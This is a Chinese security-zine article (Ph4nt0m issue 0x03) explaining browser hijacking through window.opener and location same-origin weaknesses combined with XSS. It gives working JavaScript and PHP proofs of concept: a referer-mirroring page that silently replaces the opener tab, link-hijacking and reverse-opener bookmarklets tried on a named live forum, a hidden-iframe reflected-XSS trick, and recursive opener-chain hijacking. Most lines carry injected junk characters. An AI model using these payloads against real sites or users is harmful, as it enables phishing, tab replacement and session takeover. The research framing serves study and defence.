==Ph4nt0m Security Team==
" T" M2 P# F' @% s1 q3 p, E: ~; N
+ Q) g* G2 }7 b1 m$ L Issue 0x03, Phile #0x05 of 0x07
+ f' `+ H1 O0 M3 i1 F. n
' B% N7 Q( ~' h5 t2 O
~: f- a# r/ N) a|=---------------------------------------------------------------------------=|2 M& ~8 Z" s. X% l/ {) i
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|
1 o% m. \+ s# i; g/ W|=---------------------------------------------------------------------------=|
5 B, W0 _$ q7 l& Q; T9 |7 k: F|=---------------------------------------------------------------------------=|
! d/ A+ v( j& J; X3 O|=------------------------=[ By rayh4c ]=---------------------------=|
V* d0 h, Y8 h9 v B) Q2 f3 m|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|- w i7 r7 F$ v$ {
|=---------------------------------------------------------------------------=|
( I- v( B' D7 a% J* C: {6 r; s4 D) P! ^4 }
# G5 b. o2 \& T( O0 X- S
[目录]
3 t k, A! _1 z
& z8 M: g2 j! I% N2 `$ Y, T1. 前言
; |& J# H U) O. m2. 同源策略简叙
2 c4 M5 G- g, p2 n* B6 [+ Z! m3. 理解window对象的同源策略8 y! P& `- N+ y) s2 `+ B( C: c
4. 窗口引用功能中的同源策略漏洞& F0 ?# | X G2 C4 A/ \' [
4.1 父窗口引用子窗口的同源策略问题4 e W; m8 T w! Q5 }* S
4.2 子窗口引用父窗口的同源策略问题
0 {& O3 R% v. j5 E5. 利用窗口引用漏洞劫持浏览器7 G% S" w/ }, ^4 e$ C% [4 j
6. 利用XSS漏洞劫持浏览器
; Q! ?; c6 V4 M. D; h 6.1 正向跨窗口劫持
. R+ W2 Q I; H0 ^8 v 6.2 反向跨窗口劫持$ p9 ^9 }" u1 V p4 L: p
6.3 极度危险的跨框架窗口引用劫持
5 S7 Z- f% ~1 z5 m0 G& p1 l 6.4 极度危险的正反向跨窗口递归劫持
" \$ P" B8 T. j, V0 f* _ 6.5 完全控制浏览器: i* H: b: O% V) g
7. 后记7 F0 w. z& j6 O( \, W
8. 参考
4 ~9 u, L' Z7 J0 E/ p! @6 z3 W5 D" `7 _9 Q0 R* h, \) t, d x- {! n# Q
- ]3 t. q, A" w2 m1 T一、前言, q7 O* W, M- b8 J
4 I7 k' `7 K$ F( i7 Y1 O
最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
& Y/ D9 i$ c7 f, Z友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session
: _; Q6 E' C4 H# x% k% Y劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被
: T, ?) ]3 U: B5 g5 _! Q条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。
1 q1 `" Q; R! k2 I8 b, ~5 _! f7 R2 T& ^- X8 O
' B1 o. B4 K' ^+ C' ~二、同源策略简叙! P5 e; U: X8 ^9 [
# N1 a t7 G2 b0 C8 m) u A
同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以9 ~' H) r, u. I. |/ W3 U
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
q8 X" O. H$ Z- F# `0 p$ t1 A# w曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
/ |) B. w% L% P9 r马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个
. \# a' Y6 e I/ u漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。6 @/ t1 E) {1 u: M. ^: w a
1 L& Z; s" H( }6 G1 Q' l; L' E2 V
" x5 Z. o- l/ q( l/ E三、理解window对象的同源策略. l; w" G ?! c) Z
: O) g2 q% X1 _4 l" Z+ M 窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
' E' ~" V9 b8 s, I2 d3 ~+ Z5 \0 ?% @0 Q/ y象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:% [' n/ j6 m( W7 E! ?, c
' ^# t/ k: |9 V9 S% Z. t4 ~
--code-------------------------------------------------------------------------2 ]1 [) s1 d+ ~" y4 i4 q- @3 G" I/ Q+ J
<script language="javascript">
( Q# T2 l1 _% z6 ?/ C0 [: d! E/ B* cfor(p in window) document.write(p+"<br>");
7 G) ^2 y9 Q) T% k) ]: S+ B</script>/ ~* x1 a% a4 B: W( U$ O5 \
-------------------------------------------------------------------------------6 U4 v! J1 u4 t6 R; A
- e5 [# z' G4 r: ^5 o1 r# C/ X 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
( d2 I1 i! E( j2 i法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
9 D4 F# G$ i+ K5 H! F% S9 P这些属性和方法就必须遵循同源策略。
2 ~2 j$ D |" f! X2 w% M/ n" s7 [" Q! q
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那6 f8 H" ~* N2 L- `* ~
么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须
: L9 x5 G2 S Z1 d2 w% a的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这! m' Z) v6 E' J$ S% m
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的. O! F ~; p, h8 J9 u' {+ W
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location3 K g; @' ^# u& S- F5 c& w3 g9 s
属性并没有被拒绝访问。0 F- W% K/ _) a2 u( G
4 p5 W% w( n( ]# O( o8 T--demo.html--------------------------------------------------------------------; p1 j9 K Z& k. l, m. U, z
<script language="javascript">
+ r0 q- M8 ]5 ~ A3 @" D* I3 e5 Vfunction allPrpos(obj) {
) L; e8 g2 ?# A3 m- U* N$ U var props = "<table><tr><td>名称</td><td>值</td>";
4 e! d! C8 P: Z- p; F* u for(var p in obj){ / Z& X- ]2 y# k5 J- }
if(typeof(obj[p])=="function"){
) [3 x; ]+ o- \ obj[p]();
" P+ n% W. N$ P3 ? }else{ ) M2 _4 R' w7 j5 e1 v, d0 z
try
$ U! r7 v: }) }' J9 {* Y7 | {
9 L( M* e' y0 G! _8 v- ` props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>"; & U0 v0 L" y4 s! L0 _) v
}
; [& s1 j" D! I3 d" z j# Q catch (ex) 1 q; T1 [- `( Q. ^+ k. C5 n+ }
{ 8 d! F" ^2 _( _0 f
. q8 L! d( u4 |3 O props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; 3 q; Y$ O( @/ j3 X4 S" ?# r
} 8 I1 I; O T3 z. x' F7 V
4 S/ C/ i2 j& K N' U }
( N& \* g, Y4 f8 T$ ^- x$ |3 I& G& n } / y) }% f% R3 @8 N/ l3 o
! f2 N' y7 u9 j document.write(props+"</table>");
) I: A( \+ S1 J( S \5 Q: K}
9 k2 g" k# S i$ S
* P* L2 @% R; Q gfunction createWin() {
$ s; y4 w' I5 W4 y1 i$ V+ k* s newWin = window.open ("http://www.google.com"); ! A% S% z- M/ a& A& Y1 W/ P
setTimeout(function(){allPrpos(newWin)},2000); % D( Z; C4 ]4 M! A: X, j
}
. d1 A$ z1 y) K# r
( w1 a7 J9 M1 i Q. I</script>
5 `2 N$ H: U- Z; B2 u
# C9 O+ h: Z! y& @$ Q8 k+ `<button onclick='createWin()'>创建一个非同源子窗口测试</button>* c% E/ t% J8 H1 I+ t8 Q
-------------------------------------------------------------------------------
% }; V) q) x# x9 ~& {9 L4 H7 G' U {5 @! ~* ~# ~" p8 |
5 m2 {" L3 \; r9 j9 o3 O5 e四、窗口引用功能中的同源策略漏洞) K2 K; g1 ~( G) @* e2 n
$ I5 ?7 l/ p5 a% v% v9 c. T
4.1 父窗口引用子窗口的同源策略问题
. S. x7 ~( N6 }9 Q# l5 S4 L
# g* e3 S; n" }) p$ [ 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复,
5 T; C) |6 c, b6 Y6 _" L* Z" ^8 J; \" r但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道+ t y K$ i: M4 f
浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
( x! k$ B" r1 [* D* k' C' p行测试,会发现父窗口可以控制非同源子窗口location属性值。
/ \ F$ U' a R" r+ H) D, s: C' x1 p* ]# {
--vul1.html--------------------------------------------------------------------, B/ T) E8 R' {5 }& u
<script language="javascript"> - K- r) n7 R+ O0 p' }3 N
function createWin() { / {0 Y+ r" @, o7 O4 j9 F! b
newWin = window.open ("http://www.google.com"); + ^) ?& l# T( X" H! c" [6 {
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
( `4 g4 g# f7 b3 C0 n} 5 j8 g2 f z- W% C
</script>
8 f8 }& P4 M& j/ A3 t s, w4 Q* C$ z( S; L2 n: R) i, \; ^6 ~3 y
<button onclick='createWin()'>创建一个非同源子窗口测试</button>' A' ?6 P1 |& B) A
-------------------------------------------------------------------------------! J- R* p, I! ~# E/ m" O0 S
9 K+ ~5 Y7 e& F
6 |0 G, B2 c$ @; E* {- h$ L4.2 子窗口引用父窗口的同源策略问题* t: \; j/ e1 ~$ F2 v
/ p7 ^$ U8 {# W" N, K
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使6 T8 A+ U, u4 q6 d1 V
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
" |5 t5 r. o& K$ U: L" z可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定
4 `/ x# T- {4 m6 G* C( s1 x会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。7 h8 b& f9 Z: ~; h" E4 N
$ B; J, P+ ~/ f" @--code-------------------------------------------------------------------------" z& I; c1 }$ U% `+ d
8 \8 m/ y$ Q/ Q7 R4 q5 hjavascript:window.opener.location = "http://www.80sec.com";void(0);
2 ~& j4 Q ]: {6 \% F- U$ T" a
; j2 {2 A$ B& m$ _3 x+ m. `% Z2 v-------------------------------------------------------------------------------
% z6 Y3 M& l: B# r
+ M m" J! T/ O9 c& \; A% P# W2 x% V! E% Q4 L
五、利用窗口引用漏洞劫持浏览器
6 P! \% k% L3 @) o3 N( p$ b& E4 {4 K
经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子% Z7 J' t5 W6 z. h+ G
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
. e/ `0 Z5 @) f: l8 P0 }/ G3 h) K么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。
# {' _! o, Q; b; g+ A7 U' ?, ^' c) [: K! P8 c) B2 ^" n0 M
我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
* x) P* J' I( I, N' n& E生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或
& Q+ A- Z$ P: v* e' j者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接
}. g( I7 X5 e6 p5 `! Z& U后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下
+ t3 n+ \- `. B# |" X) v" M( O会产生什么可怕的后果。
9 ?( {' Y, O; |8 G+ j
7 x# I0 W3 ?% x; g. l 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我
& y9 F' e1 N5 N1 R! ?, @们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php V- o- o7 r/ I5 T
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时
. _- y7 V A" l- q候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
X0 p) O" k) n$ z1 Q以做更多的事情,所有的一切仅仅是因为点击了一个链接。6 @$ V5 D+ r- a
- R; @( _& t% d& K6 z3 r4 @+ R1 h5 h--hjk_ref.php------------------------------------------------------------------
0 F3 T3 [, S1 ?" p% h<?php9 s8 J# w7 h6 N
if (array_key_exists("HTTP_REFERER", $_SERVER)) {
" x+ r1 z* V3 l3 m; X$Url_Mirror = $_SERVER["HTTP_REFERER"];
- X5 h# I7 J: g. j$ t4 x# {( ^* e+ I}
9 y) ^! U1 E- U. M) u* i; k" o6 Pif(isset ($_GET['ref'])) {: [. z1 y1 n0 r0 o# ~
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';! t4 J2 q7 e+ k; f! A
}
" S% h; V9 s* J$ v+ e?>9 V: Z' N$ f& b0 \; f' h" h% v7 q- I
, A% b1 j7 L: c- y7 K<script language="javascript">
7 }/ p9 j2 A1 Z6 J! C' V# LsetTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); % v+ J/ g9 ]$ A* {' i) v' E) P* a
</script>0 a( K2 r( Y0 k7 v( j
-------------------------------------------------------------------------------+ c* Q/ s7 F; U% i' _9 T6 N; |
4 ` O8 A: \' Q( ^
注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。1 O: Y9 t( O- n. r% ]
, ?9 o. E4 T% e! z. w( l6 }
* V$ A8 d: A9 M六、利用XSS漏洞劫持浏览器
9 [, d) t6 U6 L3 L8 T2 \
" n7 j/ l: f; D G4 I/ w. _& ~ 延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
# ^: s! R, r' \0 I2 f3 L持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后; ]1 G/ j v* v& v
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起
5 f' t/ N6 Y9 E* J" Y讨论跨站师的终极技巧:
+ Y% ?3 D5 U3 ?3 E% O2 ?( c& G' }7 h# g' G
% b% {5 a( u, U2 e# u
6.1 正向跨窗口劫持. C. a# l# Q2 r' V
+ g& Q# r/ g2 g 大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛
. n5 ^9 d v* \! H5 l主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链+ G/ _+ s$ f6 e" T+ F
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话8 V" w/ b' e2 B/ D1 A" y
框脚本。
' ?9 u% C; z, {, E7 n5 |) m; f p3 c, V2 t# b) V- [
--hijack_open.js--------------------------------------------------------------- G ^" _9 D+ L& U! v3 t# [
% O) s) l' T t% a6 n
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
- X! P! x2 V, n4 C8 R2 l" ^& y' n
6 R: ?7 r+ p" G-------------------------------------------------------------------------------
6 q5 Q" ?8 p, o9 C8 p! H# U" L1 ?8 h0 m7 Z e. Q- P1 Y3 [- A+ f& F; i
, ?) \. L- b1 T2 R1 e) r
6.2 反向跨窗口劫持
$ h4 z" h7 G. I2 @7 ]9 {
2 ?2 c4 u6 z3 O U/ a# v- O- n 同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代5 a: A( s2 ?4 J
码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话
! ~/ ~( \+ I* v5 g$ p) |% ]框脚本。
. {9 K9 I7 A# Q( `$ Z' c- Q# h1 j) i* r
--hijack_opener.js-------------------------------------------------------------0 a. P" e; L/ S/ Z ?- E
* r2 z0 }8 {% c$ v y9 h% {5 H o' sjavascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);; g& h7 X# t+ H. Z% e. Z
$ a$ M# I$ e8 Y- x
-------------------------------------------------------------------------------
- \- J& V6 o+ {# s$ m1 o) F% U" I: a, B6 K& X! }
* [, c8 ? Z. g+ C* M6.3 极度危险的跨框架窗口引用劫持' A) q1 x; h$ B
5 `) z8 U" S/ e# u! ~/ V
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞 P. I2 _/ Z# B4 c" H* G6 N
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
" m5 ^# a# D- c& v5 C适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个( N4 J$ P8 W/ D& L
非持久型的XSS,如下:
8 {+ |5 j8 e: m8 [ u5 d. A0 H: W7 S0 g1 A
<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>* X9 M5 ?+ G1 b2 ~ \7 z* P1 R3 M; ]
6 p& h. ?4 \+ i+ [. z% A- L
在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口
( i& ]7 @9 t4 x# @! k注入脚本。' k5 J6 N/ k, l; D# ?
8 x& f/ K0 v2 v4 f--hijack_frame_opener.js-------------------------------------------------------0 K4 {% A& C u$ f( ?
<script>! ?1 u j; g$ y' O
window.parent.opener.location="javascript:alert('I had been hijacking your browser!')";
8 i+ I9 V! Y6 E</script> E1 ~6 q- X: @' {5 A
-------------------------------------------------------------------------------+ T% h; [/ G r* T4 h% q# L
~+ ]2 q- @7 E5 f
, @4 \& P- |/ }1 u, a; N6.4 极度危险的正反向跨窗口递归劫持8 V+ S* S+ I; T t# }# S0 d
0 N8 n! s* L2 D5 Y* `
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
3 T0 u# C5 g2 ?/ @! _! g的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
$ W, [7 d) h# ~. F+ q0 P! e6 l异常处理规避之间跨域页面的访问异常,代码如下:
* a u8 U7 D+ e+ T; h. L7 C' W3 U6 C$ R; d+ F$ R+ Z. _
--code-------------------------------------------------------------------------; s% Q+ ]7 X4 A+ {' h& V3 x
9 B8 h5 ^: V) e
javascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);
: u# Y# L+ \+ Z+ J/ R! q( {0 @3 f# Y) y
-------------------------------------------------------------------------------; ~4 C h3 M* h: B
! t" C A& x8 S# O+ L3 d7 {6 S 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可4 f: U, ~* [. f* m1 c2 A# q
以劫持B域之前的A域页面,从而实现“隔空打击”。5 w, p( u* W, E @
! @) l2 u" `2 L7 V5 o! q" H
同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面
) t( X y! _) C- a. \3 ~执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。8 i# h( `) Z$ F$ V# [
. _8 m! a6 r4 d' \3 o& f0 S& c% L
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。
5 J8 O R; l6 e) p1 Q8 o3 _3 Y4 [& d$ G: l i, ~6 \$ o
2 R, O9 P$ S8 m3 U- R; h
6.5 完全控制浏览器' V" A- @0 g! \( \ ^
; q8 j" D0 Q# q" l: v( v) U8 {
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则
2 l. J& b& z% K) l是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS3 n9 y6 ~% ~5 J' Z6 e* I- N
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失. r& Z; r( |3 U1 m
而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
9 w1 D8 e0 v2 \- h. D列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站; W9 E8 A( z, X! O/ o
师的终极目标 - 完全控制浏览器。
; W6 e/ T% Y! Y k- c) g$ J5 U, x R* J9 O! b
' H1 l3 D1 f, K7 E C9 A
七、后记+ o# v. s# z" @4 r. d6 z; i8 ~
5 r; p) ?+ b' i r1 p
文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
8 S1 d. P, \4 W8 f6 I与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予
0 z# M) R) J, v; _3 V5 R) y过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。 i$ b0 p7 C X5 Z1 Z$ p
$ P; ^2 ]" {' t+ y9 K3 t' w, l3 V5 c* r4 O7 \/ Q9 X
八、参考
) ~6 ^# Q" g& w& B. O+ ^# r% \2 Z- \3 @' H
1. http://en.wikipedia.org/wiki/Same_origin_policy* H/ v1 P7 Y( l
2. http://code.google.com/p/browser ... licy_for_DOM_access
' i. P ~; ^* a1 ~+ k0 [3. http://www.w3.org/TR/Window/
6 C1 z1 R& Y' p3 I4. http://www.80sec.com/release/browser-hijacking.txt
& [. c+ A7 Y1 }/ r' L+ ~0 s5. http://www.80sec.com/all-browser-security-alert.html
U9 s2 E. |4 ^, @9 r" i6. http://www.80sec.com/ms08-058-attacks-google.html
, }* ]3 N Q' y, B5 Q+ G) |! z/ h) S- O% P# Z! m$ ?
-EOF- |